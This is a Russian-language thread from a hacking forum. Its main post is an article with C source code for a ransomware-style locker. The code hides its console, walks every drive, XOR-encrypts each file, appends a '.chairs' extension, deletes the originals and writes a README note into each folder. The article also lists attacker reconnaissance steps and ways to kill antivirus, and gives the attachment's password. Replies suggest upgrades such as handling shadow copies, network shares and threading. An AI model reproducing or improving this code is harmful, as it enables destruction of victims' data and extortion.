• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья XssLocker - Локер для чайников

RedBentley

floppy-диск
Пользователь
Регистрация
30.06.2020
Сообщения
5
Реакции
11
Депозит
100
Скрытый контент для зарегистрированных пользователей.


logo.jpg

Содержание:

1. Предисловие от автора
2. Вступление
3. Почему С
4. Исследования
5. Код
6. Как защититься
7. Послесловие

1. Предисловие от автора

«Она так держит сигарету,
Как-будто это — целый мир,
Который ей подарен Богом
И на который ей плевать.»​


Доброго времени суток, дорогой читатель!

Хочу поделится немного своими наработками и небольшим опытом. Да, я никогда не писал локер ранее. Больше того, я никогда серьёзно не задавался темой программирования данного софта, но у меня есть иного плана «сетевой» опыт, и, если сложить всё воедино, мы можем получить вполне приятный и интересный результат в виде исследований.

Данная статья — не посыл к действию, а скорее попытка изучить материал через практическую работу.



2. Вступление

Последние мировые тенденции приводят к тому, что люди тратят большую часть своей жизни, как профессиональной, так и личной, в сети Интернет. Однако мало кто из них, реально мало, осознает, что кибер-пространство — это новый и более изощренный плацдарм для всякого рода кибер-угроз.


Если изучить предысторию локеров, то станет понятно, что это новое семейство программ-вымогателей (ransomware), чья бизнес-модель (да, вредоносные программы – это бизнес для кого-то!) основана на вымогательстве денег у пользователей. Недаром этот вид деятельности классифицируется и расценивается как «терроризм». И об этом стоит всегда помнить, чем бы вы не планировали заниматься.



3. Почему С

C — один из старейших языков, который не может быть заменен каким-либо другим языком, поскольку он является своего рода “ядром” многих операционных систем. Первоначально С был разработан Д. М. Ричи для операционной системы UNIX в Bell Labs, а реализован впервые на компьютере DEC PDP-11 в 1972 году.

Перед перечислением преимуществ сразу скажу, что для нас самым важным является его скорость работы и довольно маленький размер exe после компилирования.


Преимущества языка Си:

  1. Как язык среднего уровня, C сочетает в себе функции языков высокого и низкого уровня. Он может использоваться для низкоуровневого программирования, такого как сценарии для драйверов и ядер, а также поддерживает функции языков программирования высокого уровня, таких как сценарии для программных приложений и т.д.​
  2. C — это язык структурированного программирования, который позволяет разбить сложную программу на более простые программы, называемые функциями. Это также позволяет свободное перемещение данных через эти функции.​
  3. Различные функции C, включая прямой доступ к аппаратным API на уровне машины, наличие компиляторов C, детерминированное использование ресурсов и динамическое распределение памяти, делают язык C оптимальным выбором для приложений сценариев и драйверов встроенных систем.​
  4. Язык C чувствителен к регистру, что означает, что строчные и прописные буквы обрабатываются по-разному.​
  5. C обладает высокой переносимостью и используется для создания сценариев системных приложений, которые составляют основную часть операционной системы Windows, UNIX и Linux.​
  6. C — это язык программирования общего назначения, который может эффективно работать с корпоративными приложениями, играми, графикой и приложениями, требующими вычислений и т.д.​
  7. Язык Си имеет богатую библиотеку, которая предоставляет ряд встроенных функций. Он также предлагает динамическое распределение памяти.​
  8. C быстро реализует алгоритмы и структуры данных, ускоряя вычисления в программах. Это позволило использовать C в приложениях, требующих более высоких степеней вычислений, таких как MATLAB и Mathematica.​


4. Исследования

Для начала немного предыстории.

Внимательно изучив поведение различных криптолокеров и другой рансомвари, можно заметить вполне не меняющуюся тенденцию использовать стандартные средства операционной системы и среды. Из многих возможностей, можно выделить несколько крайне важных моментов.

Для таргетированного лока нам важно:

1) определять dns suffix через команду «ipconfig /all»
2) для распространения по сети использовать psexec
3) список процессов - определять антивирусные решения, сравнивать по списку и глушить (либо делать uninstall – жестко, но эффективно, нам же всё равно, главное — результат шифрования)

Попадая в систему, некоторые локеры используют следующие шаги в командной строке:

Код:
whoami
net user
net group

И вот такую схему (на примере WastedLocker):

схема-работы-WastedLocker.jpg

Почитать автора статьи можно здесь.


5. Код

« – Пилите, Шура, пилите. Они золотые!» © х\ф «Золотой телёнок»

Цитировать эту фразу без привязки к контексту трудно. Так и возникло золото. Но я всегда знал, что никакого "золота" там никогда не было.

Итак.
XssBot у нас уже есть (если что — это шутка, автор не претендует на чужие разработки). Пилим локер.

.jpg

Настало время евГениального кода, он также не претендует на место лучшего и сделан, скорее, для ознакомления, ибо описывать создание боевого локера чревато последствиями.

Простейшая схема работы:

Схема работы.png


Начнем с объявления переменных, структур и функций:

C:
#include "Windows.h"
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dirent.h>
#include <sys/types.h>

#define AND &
#define XOR ^
#define NOT !

int i = 0;
FILE *buffer;
FILE *ciphered;
FILE *readme;
float sharedkey[10] = {0.65,100,0.365,0,25.9,999,5,12.58,7.0214,103.126};
float precalculated;

struct data_chars {
    char current_char;
    char ciphered_char;
    char pre_ciphered_char;
} data;

struct cipher_attrib {
    int password;
    char file[500];
    char c_file[500];
    char readmsg[500];
} c_attrib;

void lineCounter(char *fileName);
void recursiveSearch(char *basePath, const int root);
int ch, number_of_lines = 0;

int main(void)
{
    // Прячем консоль при запуске
    HWND hWin = GetForegroundWindow();
    ShowWindow(hWin, SW_HIDE);

    DIR *dirp;
    struct dirent *direntp;
    c_attrib.password = 900;


Функция рекурсивного поиска директорий:

C:
void recursiveSearch(char *basePath, const int root)
{
    char dirlist[2048];
    struct dirent *dp;
    DIR *dir = opendir(basePath);
    FILE *paths;

    if (!dir)
        return;

    // Если dir является директорией запустится цикл while
    while ((dp = readdir(dir)) != NULL)
    {
        if (strcmp(dp->d_name, ".") != 0 && strcmp(dp->d_name, "..") != 0)
        {
            // Копируем basePath и // в dirlist
            strcpy(dirlist, basePath);
            strcat(dirlist, "//");
            strcat(dirlist, dp->d_name);
            // Если dirlist является директорией записываем путь в текстовый файл
            DIR *directory = opendir(dirlist);
            if (directory != NULL){
                // Открываем файл
                paths = fopen("C://Windows//Temp//filenames.txt", "a");
                // Записываем dirlist в файл
                fprintf(paths, "%s\n", dirlist);
                // Закрываем файл
                fclose(paths);
            }
            recursiveSearch(dirlist, root + 2);
        }
    }
    closedir(dir);
}



В функции main создадим массив с путями к дискам и запустим recursiveSearch в цикле for:

C:
char dirlist[104][128] = {"A://", "B://", "C://", "D://", "E://", "F://", "G://", "H://", "I://", "J://", "K://", "L://", "M://", "N://", "O://", "P://", "Q://", "R://", "S://", "T://", "U://", "V://", "W://", "X://", "Y://", "Z://"};

    int zero;
    for(zero = 0; zero <= 104; zero++ ){
        recursiveSearch(dirlist[zero], 0);
    }



recfilesearch.png

Рекурсивный поиск директорий​


Чтобы создать массив нам нужно знать точное к-во элементов, для этого создадим функцию lineCounter которая “прочитает” все строки и запишет их количество в переменную:

C:
void lineCounter(char *fileName){
    FILE* myfile = fopen(fileName, "r");
    do{
        ch = fgetc(myfile);
        if(ch == '\n')
            number_of_lines++;
    }
    while (ch != EOF);
    if(ch != '\n' && number_of_lines != 0)
        number_of_lines++;
    fclose(myfile);
}



В main вызываем функцию lineCounter и после нее записываем построчно пути к папкам в массив:

C:
char *fileName = "filenames.txt";
    lineCounter(fileName);

    char pathtofiles[number_of_lines][2048];
    FILE *fp = fopen(fileName, "r");
    char chunk[128];
    int oo = 0;
    // Построчно считываем пути и записываем их в массив
    while(fgets(chunk, sizeof(chunk), fp) != NULL) {
        // Перевод каретки мы убираем, иначе у нас не выйдет “ходить” по директориям
        strtok(chunk, "\n");
        strcpy(pathtofiles[oo], chunk);
        oo=oo+1;
    }
    // Закрываем и удаляем файл
    fclose(fp);
    remove(fileName);


Теперь самое интересное, локер:

C:
 int a = 0;
    // Пока а меньше или равно к-ву строк(элементов в массиве) цикл будет работать
    while(a <= number_of_lines){
        char* path = pathtofiles[a];
        a=a+1;
        dirp = opendir(path);
        while ((direntp = readdir(dirp)) != NULL)
        {
          strcpy(c_attrib.file, path);
          strcat(c_attrib.file, "/");
          strcat(c_attrib.file, direntp -> d_name);
          strcpy(c_attrib.c_file, path);
          strcat(c_attrib.c_file, "/");
            if((strcmp(direntp -> d_name, ".") != 0)  && (strcmp(direntp -> d_name, "..") != 0))
            {
                buffer = fopen(c_attrib.file, "r"); // Открыаем найденный файл
                if(buffer == NULL)
                {
                    continue;
                }
                strcat(c_attrib.c_file, direntp -> d_name);
                strcat(c_attrib.c_file, ".chairs"); // Добавляем расширение к имени существующего файла
                ciphered = fopen(c_attrib.c_file, "w+"); // Создаем зашифрованный файл
                if(ciphered == NULL)
                {
                    exit(EXIT_FAILURE);
                }
                while(!(feof(buffer)))
                {
                    data.current_char = fgetc(buffer);
                    data.pre_ciphered_char = (char)((int)data.current_char XOR c_attrib.password);
                    for(i = 0;i <= 10;i++)
                    precalculated = (sharedkey[i] * c_attrib.password);
                    data.ciphered_char = (char)((int)data.pre_ciphered_char XOR (int)precalculated);
                    fputc(data.ciphered_char,ciphered);
                }
                fclose(buffer);
                fclose(ciphered);
            strcpy(c_attrib.file, path);
            strcat(c_attrib.file, "/");
            strcat(c_attrib.file, direntp -> d_name);
                remove(c_attrib.file);
            }
        }
    // В каждой папке создаем файл README.txt и записываем в него текст
    strcat(c_attrib.readmsg, path);
    strcat(c_attrib.readmsg, "/");
    strcat(c_attrib.readmsg, "README.txt");
    readme = fopen(c_attrib.readmsg,"w+");
    fprintf(readme,
                    "\t--------------------------------------------------------------------- \n"
                    "\t Вы думаете что я вас не переиграю? Что я не зашифрую ваши файлы? \n"
                    "\t Я их зашифрую.\n"
                    "\t https://www.youtube.com/watch?v=rtizjDbvIRU \n"
                    "\t--------------------------------------------------------------------- \n\n"
                    "\tМаэстро\n");
    // Закрываем README.txt
    fclose(readme);
    }
    return 0;
}


«Утром — деньги, вечером — стулья.» © роман «Двенадцать стульев» советских писателей Ильфа и Петрова.

После запуска локера все файлы превратятся в нечто подобное:

ssss.png


И:

aaawd.png




6. Как защититься

А как же защититься от такого типа угроз?

Я вас разочарую: никак. Сложно изменить мировоззрение людей в один клик. Я могу дать лишь несколько советов, однако читатель должен осознавать, что каждый из нас в какой-то определенный момент времени делает свой выбор и повлиять на него могут лишь косвенные обстоятельства, происходящие именно в тот конкретный момент времени.

Я не хочу далеко вдаваться в подробности как следует защищать периметр корпоративных сетей, для этого существует множество описанных ранее методов и схем, но хочу отметить следующее.

Тренд развития мобильных устройств заставляет побеспокоится и о том, где и что вы используете, насколько сохранны ваши данные в сети, если к ней подключаются сторонние устройства посредством Wi-Fi и обычного кабеля (даже простая подзарядка). Вспомним нашумевший и уже широкоизвестный O.MG cable.
Мобильные устройства присутствуют уже фактически в любой сфере.

Несколько важных шагов:

  • Включение PIN-кода либо Биометрического сканера (fingerprint) на мобильном устройстве.
    6-ти значный ПИН-код — это 1,000,000 возможных комбинаций против 10,000 с 4-х значным ПИН-кодом. Буквенно-цифровой пароль также способен усилить защиту.
  • Также советую использовать полное шифрование диска мобильного устройства. Мне доселе неизвестны ситуации с полной дешифровкой устройств, например, Samsung Note. Потребители иногда путают наличие PIN-кода или пароля на своем телефоне и шифрование телефона – они отличаются. Неавторизованный пользователь может получить доступ к информации, хранящейся на незашифрованном телефоне, подключив телефон к компьютеру со специализированным программным обеспечением, не зная PIN-кода или пароля и установив блокировку экрана ПИН-кода. Шифрование телефона и использование надежного пароля предотвращает этот тип атаки.
  • Будьте осторожны при использовании мобильного устройства в общественных точках доступа Wi-Fi. Следует помнить, что общедоступный Wi-Fi по своей сути небезопасен. Помните, что злоумышленнику легко создать беспроводную сеть с точно таким же именем, что затруднит проверку подлинности.
  • Используйте VPN для защиты данных. Если получить доступ к вашему мобильному устройству, несложно фиксировать IP-адреса, с которых бот на устройстве будет отстукивать на C&C сервер взломщика. Сверив полученный адрес по базе IP2location или MaxMind (и другим подобным, у некоторых хакеров есть целые списки, собранные вручную адреса точек выхода корпоративного сегмента локальных сетей в Интернет) можно вполне определить, подключалось ли это устройство к корпоративной сети и в какой момент времени. И если ответ утвердительный, можно смело следить за перемещением устройства и запустить удаленное управление в момент пребывания в сети корпорации (компании) на устройстве, либо выполнить загрузку дополнительных модулей, чтобы попасть внутрь Интранета, «перепрыгнуть» на локальный компьютер и начать распространение уже вручную дальше по сети с закреплением.
  • Держите ваше программное обеспечение в актуальном состоянии. Постоянно обновляйте программы и прошивку телефона.


7. Послесловие

Ни в коем случае автор данной статьи не претендует на чье-либо место, программный продукт или юмор в конкурсе. Так уж совпало, что статья была написана достаточно быстро (сутки).
Я очень надеюсь, что на следующий конкурс у меня появится и желание, и время доработать код и написать новую статью, внеся готовые уже модули, но которые ещё не были использованы в этой статье, такие как сканер Mac/IP компьютеров в локальной сети, реверс шелл, сканер портов и несколько других фич.

В данной статье не было упомянуто, что тенденции общей лени изживают адекватный подход, развивая новую весьма бизнес-модель как Ransomware-as-a-Service (RaaS). Автор статьи предпочитает самостоятельный подход к любому делу, в особенности темам с террористическим уклоном. Нужно не забывать, что рано или поздно придут за всеми, и осознавать разницу: иногда лучше вовремя «остановиться», чем вовремя «заехать» :)


Часть кода шифрования была взята отсюда.

Ваши стулья, сэр (смотреть «Вложения»):
Пароль: xss.pro
 

Вложения

  • main.zip
    2.3 КБ · Просмотры: 118
Оценка софту: 3/10
Причина:
crt, легко крякнуть (xor), однопоток, скудный функционал
Простите, это вы за пару секунд скорочтения оценили? Даже в названии указано, что локер для чайников, а в самой статье написано, что софт не претендует на место лучшего :)
Невнимательность ведет к разного рода последствиям в нашем деле)
 
Последнее редактирование:
Простите, это вы за пару секунд скорочтения оценили? Даже в названии указано, что локер для чайников, а в самой статье написано, что софт не претендует на место лучшего :)
Невнимательность ведет к разного рода последствиям в нашем деле)
Я обязан читать статью полностью? Я посмотрел код, этого достаточно
 
Скучные обои... бле, а какой функционал должен быть у локера?

Ну и crt - боль, а локеры не одобряю в целом.
Ну он даже не затерает теневые копии, а так threadpool, подключение томов там,
обработка шар и тп
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какой threadpool, шары и т.п, если тс не смог црт от проекта отвязать? :)
P.S: Может я туплю, особо не вникал в код, но тс, а зачем ты сделал многомерный массив с дисками? o_O
P.S.S:
рано или поздно придут за всеми
- что за бред?
 
Последнее редактирование:
Кодесы больше похожи на иллюстрации к известной книжке Григория Остера, лулз на лулзе.
Начиналась статья оч хорошо, но когда начался код, тушите свет. Покритикую некоторые моменты:
C:
// Прячем консоль при запуске
    HWND hWin = GetForegroundWindow();
    ShowWindow(hWin, SW_HIDE);
Лучше делать сразу приложение без консоли.

C:
void recursiveSearch(char *basePath, const int root){
...
recursiveSearch(dirlist, root + 2);
...
}
Рекурсия - зло, стек не резиновый. Лучше реализовывать обычным циклом и динамическим массивом. И не понятно зачем переменная root. Зачем писать пути в файл не понятно.
C:
       char dirlist[104][128] = {"A://", "B://", "C://", "D://", "E://", "F://", "G://", "H://", "I://", "J://", "K://", "L://", "M://", "N://", "O://", "P://", "Q://", "R://", "S://", "T://", "U://", "V://", "W://", "X://", "Y://", "Z://"};

int zero;
for(zero = 0; zero <= 104; zero++ ){
recursiveSearch(dirlist[zero], 0);
}
Кровь из глаз. Получить все локальные диски можно апишкой GetLogicalDriveStrings. И слэши не в ту сторону по всему коду.

Автору желаю немного подтянуть матчасть и не останавливаться на достигнутом
 
Кодесы больше похожи на иллюстрации к известной книжке Григория Остера, лулз на лулзе.
Начиналась статья оч хорошо, но когда начался код, тушите свет. Покритикую некоторые моменты:
C:
// Прячем консоль при запуске
    HWND hWin = GetForegroundWindow();
    ShowWindow(hWin, SW_HIDE);
Лучше делать сразу приложение без консоли.

C:
void recursiveSearch(char *basePath, const int root){
...
recursiveSearch(dirlist, root + 2);
...
}
Рекурсия - зло, стек не резиновый. Лучше реализовывать обычным циклом и динамическим массивом. И не понятно зачем переменная root. Зачем писать пути в файл не понятно.
C:
       char dirlist[104][128] = {"A://", "B://", "C://", "D://", "E://", "F://", "G://", "H://", "I://", "J://", "K://", "L://", "M://", "N://", "O://", "P://", "Q://", "R://", "S://", "T://", "U://", "V://", "W://", "X://", "Y://", "Z://"};

int zero;
for(zero = 0; zero <= 104; zero++ ){
recursiveSearch(dirlist[zero], 0);
}
Кровь из глаз. Получить все локальные диски можно апишкой GetLogicalDriveStrings. И слэши не в ту сторону по всему коду.

Автору желаю немного подтянуть матчасть и не останавливаться на достигнутом

Спасибо за конструктивную критику, а по поводу слешей :) :

Сидит программист глубоко в отладке.
Подходит сынишка:
— Папа, почему солнышко каждый день встает на востоке, а садится на западе?
— Ты это проверял?
— Проверял.
— Хорошо проверял?
— Хорошо.
— Работает?
— Работает.
— Каждый день работает?
— Да, каждый день.
— Тогда ради бога, сынок, ничего не трогай, ничего не меняй!!!
 
Спасибо за конструктивную критику, а по поводу слешей :) :

Сидит программист глубоко в отладке.
Подходит сынишка:
— Папа, почему солнышко каждый день встает на востоке, а садится на западе?
— Ты это проверял?
— Проверял.
— Хорошо проверял?
— Хорошо.
— Работает?
— Работает.
— Каждый день работает?
— Да, каждый день.
— Тогда ради бога, сынок, ничего не трогай, ничего не меняй!!!
Ответ говнокодера
 
Ответ говнокодера
нокодь лучше, лалка)

тащемта аффтор указал для кого стотья, а ты ожидала супирпривыдный билдер локера, с криптой и высоким бтц?))
 
нокодь лучше, лалка)

тащемта аффтор указал для кого стотья, а ты ожидала супирпривыдный билдер локера, с криптой и высоким бтц?))
Уже накодил, и более того, уже продал
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Тот случай когда статью "для чайников" пишет чайник :cool:


P.S. Ранее здесь былв очень хорошая, грамотная статья на данную тему.
В рамках очередного конкурса статей.
Но я ее что-то не нахожу сейчас. Возможно удалили.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх